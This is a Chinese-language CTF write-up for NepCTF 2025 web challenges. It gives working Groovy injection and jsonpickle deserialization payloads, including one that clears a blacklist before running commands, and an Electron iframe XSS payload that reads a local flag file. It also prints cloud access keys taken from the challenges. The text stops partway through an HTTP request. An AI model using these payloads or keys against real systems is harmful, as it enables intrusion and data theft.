# Introduction

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FgFcsQRddlNDXL3hE8zFt%2F%E7%AB%8B%E7%BB%98_%E7%BC%AA%E5%B0%94%E8%B5%9B%E6%80%9D_1.png?alt=media&amp;token=bbe40104-2b59-43dd-a250-b2fa74703252" alt="" width="563"><figcaption></figcaption></figure>

Ciallo～(∠・ω< )⌒☆

这里是 **K1sARa** 的 WP！内容可能有误，欢迎大家提出建议哦！！！

aUBiaGFvLnRvcA==

-> [\[BLOG\]](https://dwd.moe/) <-


# NepCTF 2025

## Web

### EasyGooGooVVVY

Groovy 表达式注入

```java
"".class.forName("java.lang.Runtime").getRuntime().exec("env").text
```

Flag 就在环境变量中。

### RevengeGooGooVVVY

```python
"".class.forName("java.lang.Runtime").getRuntime().exec("env").text
```

Flag 就在环境变量中。

### JavaSeri

工具一把梭（x）

<https://github.com/SummerSec/ShiroAttack2>

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FEbE0ff5mECh1WzVdqvwT%2FJavaSeri.png?alt=media&amp;token=02aacfd7-f3b7-4ed3-992e-6424768b7f35" alt=""><figcaption></figcaption></figure>

### Safe\_bank

这道题在比赛中没做出来，只通过 [从源码看JsonPickle反序列化利用与绕WAF](https://xz.aliyun.com/news/16133) 试出了些黑名单还有源代码，赛后根据 [LamentXU 师傅](https://www.cnblogs.com/LAMENTXU/articles/19007988) 的 WP 复现了下，通过 `list.clear()` 删掉黑名单这方法确实妙哇。

通过 `关于我们` 发现技术细节。

```
我们的平台使用Python Flask构建，并利用安全的会话管理系统。

我们使用以下技术：

- Python Flask作为Web框架
- JSON用于数据交换
- 使用jsonpickle的高级会话管理
- Base64编码用于Token传输

我们的会话令牌结构如下：
Session { 
  meta: { 
    user: "用户名",
    ts: 时间戳 
    } 
}
```

随机注册并登录，通过对 Cookies 进行 base64 解码发现内容如下。

```json
{"py/object": "__main__.Session", "meta": {"user": "1234", "ts": 1753715060}}
```

通过修改 `user` 为 `admin` 尝试。

```
{"py/object": "__main__.Session", "meta": {"user": "admin", "ts": 1753715060}}

eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogImFkbWluIiwgInRzIjogMTc1MzcxNTA2MH19
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fkealp8oGpPKL6wiEwzdy%2Fjsonpickle-1.png?alt=media&amp;token=1643e573-006a-416f-a76e-6099ad723c1f" alt=""><figcaption></figcaption></figure>

得到路径 `/vault` ，通过管理员账号 Cookie 访问发现是假的 flag。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FTJvS5FPG1H5trpuy5tRn%2Fjsonpickle-2.png?alt=media&amp;token=7c8d6740-4d77-49df-bb80-9e2b3f340776" alt=""><figcaption></figcaption></figure>

在文章 [从源码看JsonPickle反序列化利用与绕WAF](https://xz.aliyun.com/news/16133) 中存在一些利用链还有手工测试，初步通过回显判断发现部分黑名单内容如下。

> 注意：部分利用链存在 JSON 格式问题，可以通过 <https://www.json.cn/> 来校验。

```
subprocess
Popen
reduce
re
system
state
os
builtins
nt
code
getattr
sys
__dict__
```

通过其中一个 Payload 如下成功读取目录内容。

```json
{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "glob.glob", "py/newargs": ["/*"]},
      "ts": 1753715060
    }
}
```

```
['/run', '/bin', '/usr', '/etc', '/mnt', '/home', '/var', '/srv', '/sys', '/proc', '/sbin', '/lib64', '/media', '/opt', '/lib', '/dev', '/tmp', '/boot', '/root', '/flag', '/entrypoint.sh', '/readflag', '/app']
```

通过另外一个 Payload 如下成功发现 `/flag` 为空，说明 flag 在 `/readflag` 中，但 `re` 在黑名单中。

```json
{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "linecache.getlines", "py/newargs": ["/flag"]},
      "ts": 1753715060
    }
}
```

```
[]
```

通过 Payload 如下能够获取源代码，代码整理就交给 AI 了。

```json
{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]},
      "ts": 1753715060
    }
}
```

```python
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]

def register_user(username, password):
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"

@app.route('/')
def root():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')
        
        if not username or not password or not confirm_password:
            return render_template('register.html', error="所有字段都是必填的。")
        
        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")
            
        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符，密码至少需要6个字符。")
        
        if register_user(username, password):
            return render_template('index.html', message="注册成功！请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")
    
    return render_template('register.html')

@app.post('/auth')
def auth():
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()
            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp
    return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")
    
    ban = waf(decoded)
    if ban:
        return render_template('error.html', error=f"请不要黑客攻击！{ban}")
    
    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))
        
        return render_template('admin_panel.html')
    except Exception as e:
        return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))

    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击！")
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
            
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
        return render_template('vault.html', flag=flag)
    except:
        return redirect(url_for('root'))

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

```

之后，在 [LamentXU 师傅](https://www.cnblogs.com/LAMENTXU/articles/19007988) 这了解到可以把黑名单给全扬了。

在 list 对象中，存在 `clear()` 方法，能够把整个列表内容都删了，详细如下。

```python
import jsonpickle  
import json  
  
FORBIDDEN = [  
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',  
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',  
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\', 'posix',  
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',  
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',  
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',  
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',  
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'  
]  
  
def waf():  
    try:  
        for bad in FORBIDDEN:  
            if bad in str:  
                return bad  
        return None  
    except:  
        return "error"  
  
str = '{"py/object": "__main__.FORBIDDEN.clear", "py/newargs": []}'  
  
ban = waf()  
  
if ban:  
    print(ban)  
else:  
    print(jsonpickle.decode(str))  
  
print(FORBIDDEN)

"""
None
[]
"""
```

构造 Payload 如下。

```json
{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "__main__.FORBIDDEN.clear", "py/newargs": []},
      "ts": 1753715060
    }
}
```

```
None
```

此时就已经成功把黑名单全删了，通过 Payload 如下即可得到 flag。

```json
{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "subprocess.getoutput", "py/newargs": ["/readflag"]},
      "ts": 1753715060
    }
}
```

```
NepCTF{be0cb2ec-db62-fd11-3cfa-985d117a0559}
```

#### FakeXSS

赛后根据 [LamentXU 师傅](https://www.cnblogs.com/LAMENTXU/articles/19007988) 的 WP 复现。

将下载的客户端改为 `zip` 并解压可以发现 `$PLUGINSDIR\app-64.7z\LICENSE.electron.txt` ，可推测客户端采用的是 Electron 框架，通过 [WinAsar](https://github.com/aardio/WinAsar) 解包后得到 `main.js` 如下。

```js
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
  mainWindow = new BrowserWindow({
    width: 1600,
    height: 1200,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'),
      contextIsolation: true,
    }
  });

  // 默认加载本地输入页面
  mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

  if (mainWindow) {
    mainWindow.loadURL(url);
  }
});

ipcMain.handle('curl', async (event, url) => {
  return new Promise((resolve) => {

    const cmd = `curl -L "${url}"`;

    exec(cmd, (error, stdout, stderr) => {
      if (error) {
        return resolve({ success: false, error: error.message });
      }
      resolve({ success: true, data: stdout });
    });
  });
});
```

通过 Web 中注册账号，登录账号，存在个人资料修改页面，通过 BP 抓包发现上传头像时泄露了腾讯云 COS 的 KEY。

```json
{"Token":"7hZq06JCeHSQdPzPbktorNVcoSBBdpza865ad671590c232bc3ca38960d98eb8daHdAoP3wx_jm1Pep12rKaEDw91Kdx_2sQ0yHSNQlRQZF89BBwgcHqEX_VmJ9ZRwzy2MiDH8AAAHfz6g5lq1tENtkWAnE3ezC2ltXcbsHLz1BY3tbtgOP67k3TemC-L6mqqYQCt0wowPeUhhOio54lDEqZ72r3acvb0o0Wqit9r8Iuu1ZziFondtLcVXvJDsc9LNATy9kn57p3GA_Z85n7vWYNLn19abCpQLrZwYzZOgbVb1ag5qjP2wKt6hp2_zYEd7Mk4u_EC4VHFw5xwP5ZBIUliFQ-4EyEIaFFcpFdrqVW482L6WvgUtKadCe3Qzr-e-TwXxKridE3p__-_-JXsBCTiNxovpJPYZKP1TGcMpWa_m-1uq_PI9ZYs5JNxlfXFDe81MQMgSw43vEsROyYQixwUzJXWV-Nc_bYwH-WR2KLtkBb5Ha3Eom72L2_l6JyEkYOeyZpyE19Ww5rwfCzA","TmpSecretId":"AKIDPcP06ViMBAcGOeQZ85stOcOwcBzVk3-7fIpMmyfcP0wEXnf99usKyhF3gsK-V9kB","TmpSecretKey":"xP5ZfR2GLPEmvi6hzr8jFi/OUUUzyUxlEPEF/6KTK70=","auth":"IntcInZlcnNpb25cIjpcIjIuMFwiLFwic3RhdGVtZW50XCI6W3tcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpQdXRPYmplY3RcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvcGljdHVyZS8wNDQyZjFjOC0zNWEyLTQ5MWUtYjQ1Mi1mZTg4ZDUyYmM4YTcucG5nXCJdLFwiQ29uZGl0aW9uXCI6e1wibnVtZXJpY19lcXVhbFwiOntcImNvczpyZXF1ZXN0LWNvdW50XCI6NX0sXCJudW1lcmljX2xlc3NfdGhhbl9lcXVhbFwiOntcImNvczpjb250ZW50LWxlbmd0aFwiOjEwNDg1NzYwfX19LHtcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpHZXRCdWNrZXRcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvKlwiXX1dfSI="}
```

通过 Web 页面中的 JavaScript 代码可知存储桶 Bucket 和 Region。

```js
// 加载头像
 async function loadAvatar() {
     try {
         const bucket = 'test-1360802834';
         const region = 'ap-guangzhou';
         const avatarKey = `picture/${user.uuid}.png`;
         const avatarUrl = `https://${bucket}.cos.${region}.myqcloud.com/${avatarKey}`;

         // 发送不带 Authorization 和 x-cos-security-token 头的 HEAD 请求
         const response = await fetch(avatarUrl, {
             method: 'HEAD'
         });

         if (response.ok) {
             // 头像存在，显示它
             avatarImg.src = `${avatarUrl}?t=${Date.now()}`;
             uploadStatus.textContent = '已上传头像';
         } else {
             // 头像不存在，显示默认头像
             avatarImg.src = '/default/default.png';
             uploadStatus.textContent = '未上传头像';
         }
     } catch (error) {
         console.error('加载头像失败:', error);
         uploadStatus.textContent = '加载头像失败';
     }
 }
```

这里就直接用师傅搓的脚本吧，通过 `pip install -U cos-python-sdk-v5 -i https://mirrors.aliyun.com/pypi/simple/` 安装 Python SDK。

```python
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import logging
import os

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# 临时凭证信息
credentials = {
"Token":"0R0XmxDL49yif79c9rRXnLYM1vbjR2Da318a4326b0c7bff4f56344465fad714fAQdoKSmkHKYvZE-x_Wbj-97Byfy-t71IHYouklLnn5srbzYXPBmrWGZAnhrJhpkX3_QSIRmhZlEgfOdp4Bdx0kg9UCQecE_sxP1M4P3_uvO7AQV_i20R-AOaegFgNQw6E7zFFi8poid0R5bIoSmSGc0HKExRebMmIhVjK1NSSjV8pBnYkslUFiT91jsFUXvdAw5EGv_gQ8I2O_jm7o3hOHnvJyFGUhoGOZewNeCUtYVdf__5hAHoz8Q-F30IfvfYb4CQlL6LSUcvlmNZ-Jj7TGBMJhyvkEU3jAJNWgo4iC742Vj1rY_tBqXYJ2DAEJK6xv2vFDkxmJ9ftUO7OUZWdMicYMCyFNJu7KqtTsfPKySxKV-fIFDZv64NrgPm9jmnrfgKm1XK_CV0kI-qOnTvDeKA3WbE94P9XTm-s8N1jMeFMYVsYfKYQsIaR01eTD8XIAf8KcTg6GfyvkA6ewB4vA","TmpSecretId":"AKID3-CdtXjCLfIJo_vlvaTkVFB5gRGUDY3fN8aHQUi1I0CS7BwUnR2-U3pdMtIwhleu","TmpSecretKey":"kBMjDi2LGlrVRdf0QOf8kNjgme+k3vshE0FGPHPLhlA=",
}

# 存储桶配置
bucket_name = 'test-1360802834'
region = 'ap-guangzhou'

# 配置COS客户端
config = CosConfig(
    Region=region,
    SecretId=credentials["TmpSecretId"],
    SecretKey=credentials["TmpSecretKey"],
    Token=credentials["Token"]
)

# 初始化客户端
client = CosS3Client(config)

def list_files_for_download():
    """列出可供下载的文件"""
    try:
        print(f"\n正在列出存储桶 {bucket_name} 中的文件...")
        marker = ""
        file_list = []
        
        while True:
            response = client.list_objects(
                Bucket=bucket_name,
                MaxKeys=100,
                Marker=marker
            )
            
            if 'Contents' in response:
                for obj in response['Contents']:
                    if not obj['Key'].endswith('/'):  # 排除目录
                        file_list.append(obj['Key'])
                        print(f"{len(file_list)}. {obj['Key']} (大小: {obj['Size']} bytes)")
            
            if response.get('IsTruncated', 'false') == 'false':
                break
                
            marker = response.get('NextMarker', '')
        
        return file_list
        
    except Exception as e:
        print(f"列出文件时出错: {str(e)}")
        return []

def download_file(cos_key, local_path=None):
    """
    下载文件
    :param cos_key: COS上的文件路径
    :param local_path: 本地保存路径(可选)
    """
    try:
        if local_path is None:
            # 如果没有指定本地路径，使用文件名作为默认路径
            local_path = os.path.basename(cos_key)
        print(local_path)
        # 创建目录(如果需要)
        # os.makedirs(os.path.dirname(local_path), exist_ok=True)
        
        print(f"\n正在下载 {cos_key} 到 {local_path}...")
        print(cos_key)
        # 执行下载
        response = client.download_file(
            Bucket=bucket_name,
            Key=cos_key,
            DestFilePath=local_path
        )
        print(response)
        print(f"下载成功! 文件保存到: {os.path.abspath(local_path)}")
        return True
        
    except Exception as e:
        raise

def download_file_with_progress(cos_key, local_path=None):
    """
    带进度显示的下载文件
    :param cos_key: COS上的文件路径
    :param local_path: 本地保存路径(可选)
    """
    try:
        if local_path is None:
            local_path = os.path.basename(cos_key)
        
        print(f"\n正在下载 {cos_key} 到 {local_path}...")
        
        # 获取文件大小用于显示进度
        head_response = client.head_object(
            Bucket=bucket_name,
            Key=cos_key
        )
        total_size = int(head_response['Content-Length'])
        
        # 回调函数显示进度
        def progress_callback(consumed_bytes, total_bytes):
            percent = int(100 * (consumed_bytes / total_bytes))
            print(f"\r下载进度: {percent}% ({consumed_bytes}/{total_bytes} bytes)", end='', flush=True)
        
        # 执行下载
        response = client.download_file(
            Bucket=bucket_name,
            Key=cos_key,
            DestFilePath=local_path,
            PartSize=10*1024*1024,  # 分块大小(10MB)
            MAXThread=5,  # 并发线程数
            ProgressCallback=progress_callback
        )
        
        print("\n下载完成!")
        return True
        
    except Exception as e:
        print(f"\n下载文件 {cos_key} 时出错: {str(e)}")
        return False

if __name__ == "__main__":
    print("===== 腾讯云 COS 文件下载工具 =====")
    print(f"使用临时密钥访问存储桶: {bucket_name}")
    
    # 列出文件供选择
    files = list_files_for_download()
    
    if not files:
        print("\n存储桶中没有可供下载的文件")
    else:
        # 让用户选择要下载的文件
        try:
            selection = input("\n请输入要下载的文件编号(输入0退出): ")
            if selection == '0':
                exit()
            
            selection = int(selection) - 1
            if 0 <= selection < len(files):
                selected_file = files[selection]
                
                # 获取本地保存路径
                default_name = os.path.basename(selected_file)
                local_path = input(f"输入本地保存路径(默认: {default_name}): ") or default_name
                
                # 选择下载方式
                print("\n选择下载方式:")
                print("1. 普通下载")
                print("2. 带进度显示的分块下载(适合大文件)")
                method = input("请输入选项(默认1): ") or '1'
                
                if method == '1':
                    download_file(selected_file, local_path)
                else:
                    download_file_with_progress(selected_file, local_path)
            else:
                print("输入无效，请选择正确的文件编号")
        except ValueError:
            print("请输入有效的数字编号")
    
print("\n程序执行完毕")

"""
140. www/flag.txt (大小: 35 bytes)
141. www/server_bak.js (大小: 8914 bytes)
"""
```

可以发现存在两个文件。

```
https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/flag.txt

fake{看看www/server_bak.js对象}

https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/server_bak.js
```

```js
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const tencentcloud = require("tencentcloud-sdk-nodejs");
const path = require('path');
const fs = require('fs');
const { v4: uuidv4 } = require('uuid');
const { execFile } = require('child_process');
const he = require('he');


const app = express();
const PORT = 3000;

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

// 配置会话
app.use(session({
  secret: 'ctf-secret-key_023dfpi0e8hq',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false , httpOnly: false}
}));

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};
// 存储登录页面背景图片 URL
let loginBgUrl = '';

// STS 客户端配置
const StsClient = tencentcloud.sts.v20180813.Client;
const clientConfig = {
  credential: {
    secretId: "AKIDRkvufDXeZJpB4zjHbjeOxIQL3Yp4EBvR",
    secretKey: "NXUDi2B7rOMAl8IF4pZ9d9UdmjSzKRN6",
  },
  region: "ap-guangzhou",
  profile: {
    httpProfile: {
      endpoint: "sts.tencentcloudapi.com",
    },
  },
};
const client = new StsClient(clientConfig);

// 注册接口
app.post('/api/register', (req, res) => {
  const { username, password } = req.body;
  if (users[username]) {
    return res.status(409).json({ success: false, message: '用户名已存在' });
  }
  const uuid = uuidv4();
  users[username] = { password, role: 'user', uuid, bio: '' };
  res.json({ success: true, message: '注册成功' });
});

// 登录页面
app.get('/', (req, res) => {
  let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
  if (loginBgUrl) {
    const key = loginBgUrl.replace('/uploads/', 'uploads/');
    const fileUrl = `http://ctf.mudongmudong.com/${key}`;

    const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
    loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
  }
  res.send(loginHtml);
});



// 登录接口
app.post('/api/login', (req, res) => {
  const { username, password } = req.body;
  const user = users[username];

  if (user && user.password === password) {
    req.session.user = { username, role: user.role, uuid: user.uuid };
    res.json({ success: true, role: user.role });
  } else {
    res.status(401).json({ success: false, message: '认证失败' });
  }
});

// 检查用户是否已登录
function ensureAuthenticated(req, res, next) {
  if (req.session.user) {
    next();
  } else {
    res.status(401).json({ success: false, message: '请先登录' });
  }
}

// 获取用户信息
app.get('/api/user', ensureAuthenticated, (req, res) => {
  const user = users[req.session.user.username];
  res.json({ username: req.session.user.username, role: req.session.user.role, uuid: req.session.user.uuid, bio: user.bio });
});

// 获取头像临时密钥
app.get('/api/avatar-credentials', ensureAuthenticated, async (req, res) => {
  const params = {
    Policy: JSON.stringify({
      version: "2.0",
      statement: [
        {
          effect: "allow",
          action: ["cos:PutObject"],
          resource: [
            `qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/${req.session.user.uuid}.png`
          ],
          Condition: {
            numeric_equal: {
              "cos:request-count": 5
            },
            numeric_less_than_equal: {
              "cos:content-length": 10485760  // 10MB 大小限制
            }
          }
        },
        {
          effect: "allow",
          action: ["cos:GetBucket"],
          resource: [
            "qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
          ]
        }
      ]
    }),
    DurationSeconds: 1800,
    Name: "avatar-upload-client"
  };

  try {
    const response = await client.GetFederationToken(params);
    const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
    res.json({ ...response.Credentials, auth });
  } catch (err) {
    console.error("获取头像临时密钥失败:", err);
    res.status(500).json({ error: '获取临时密钥失败' });
  }
});

// 获取文件上传临时密钥（管理员）
app.get('/api/file-credentials', ensureAuthenticated, async (req, res) => {
  if (req.session.user.role !== 'admin') {
    return res.status(403).json({ error: '权限不足' });
  }

  const params = {
    Policy: JSON.stringify({
      version: "2.0",
      statement: [
        {
          effect: "allow",
          action: ["cos:PutObject"],
          resource: [
            `qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/uploads/${req.session.user.uuid}/*`
          ],
          Condition: {
            numeric_equal: {
              "cos:request-count": 5
            },
            numeric_less_than_equal: {
              "cos:content-length": 10485760  
            }
          }
        },
        {
          effect: "allow",
          action: ["cos:GetBucket"],
          resource: [
            "qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
          ]
        }
      ]
    }),
    DurationSeconds: 1800,
    Name: "file-upload-client"
  };

  try {
    const response = await client.GetFederationToken(params);
    const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
    res.json({ ...response.Credentials, auth });
  } catch (err) {
    console.error("获取文件临时密钥失败:", err);
    res.status(500).json({ error: '获取临时密钥失败' });
  }
});

// 保存个人简介（做好 XSS 防护）
app.post('/api/save-bio', ensureAuthenticated, (req, res) => {
  const { bio } = req.body;
  const sanitizedBio = he.encode(bio);
  const user = users[req.session.user.username];
  user.bio = sanitizedBio;
  res.json({ success: true, message: '个人简介保存成功' });
});

// 退出登录
app.post('/api/logout', ensureAuthenticated, (req, res) => {
  req.session.destroy();
  res.json({ success: true });
});

// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
  if (req.session.user.role !== 'admin') {
    return res.status(403).json({ success: false, message: '权限不足' });
  }
  const { key } = req.body;
  bgURL = key;
  try {
    const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
    const response = await fetch(fileUrl);
    if (response.ok) {
        const content = response.text();
    } else {
        console.error('获取文件失败:', response.statusText);
        return res.status(400).json({ success: false, message: '获取文件内容失败' });
    }
  } catch (error) {
      return res.status(400).json({ success: false, message: '打开文件失败' });
  }
  loginBgUrl = key;
  res.json({ success: true, message: '背景设置成功' });
});



app.get('/api/bot', ensureAuthenticated, (req, res) => {

  if (req.session.user.role !== 'admin') {
    return res.status(403).json({ success: false, message: '权限不足' });
  }

  const scriptPath = path.join(__dirname, 'bot_visit');

  // bot 将会使用客户端软件访问 http://127.0.1:3000/ ，但是bot可不会带着他的秘密去访问哦

  execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
    if (error) {
      console.error(`bot visit fail: ${error.message}`);
      return res.status(500).json({ success: false, message: 'bot visit failed' });
    }

    console.log(`bot visit success:\n${stdout}`);
    res.json({ success: true, message: 'bot visit success' });
  });
});

// 下载客户端软件
app.get('/downloadClient', (req, res) => {
  const filePath = path.join(__dirname, 'client_setup.zip');

  if (!fs.existsSync(filePath)) {
    return res.status(404).json({ success: false, message: '客户端文件不存在' });
  }

  res.download(filePath, 'client_setup.zip', (err) => {
    if (err) {
      console.error('client download error: ', err);
      return res.status(500).json({ success: false, message: '下载失败' });
    } else {
    }
  });
});

// 启动服务器
app.listen(PORT, () => {
  console.log(`服务器运行在端口 ${PORT}`);
});
```

在登录页面接口中，存在一个 `<iframe>` 标签，并允许直接将用户的输入原封不动进行输出，可以结合设置登录页面背景接口来发起攻击。由于 Bot 并不会携带秘密（也就是 Cookie），因此需要通过 `document.cookie` 为 Bot 写入一个账号 admin 的 Cookie 进去，然后利用 `window.electronAPI.curl` （前提是 Bot 使用提供的 Electron 客户端访问）拿出 flag 内容并通过保存个人简介接口将 flag 写入到账号 admin 的简介中。

> `fetch()` 方法是不携带 Cookie 的，所以最好不在 headers 里面些 Cookie。

具体 JavaScript 代码如下。

```js
document.cookie = 'connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';
window.electronAPI.curl('file:///flag').then(data => {
    fetch('/api/save-bio', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            'bio': JSON.stringify(data)
        })
    })
})
```

Payload 如下。

```json
{"key":"x\" onload=\"document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}
```

上传后的结果如下。

```html
<iframe id="backgroundframe" src="https://ctf.mudongmudong.com/x" onload="document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})" x="" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>
```

设置登录背景图请求响应包如下。（若出现失败则可以多尝试几次，因为 `https://ctf.mudongmudong.com/x` 其实是无法访问的，也不知道为什么会判断为真）

```http
POST /api/set-login-bg HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes
Content-Type: application/json
Content-Length: 327

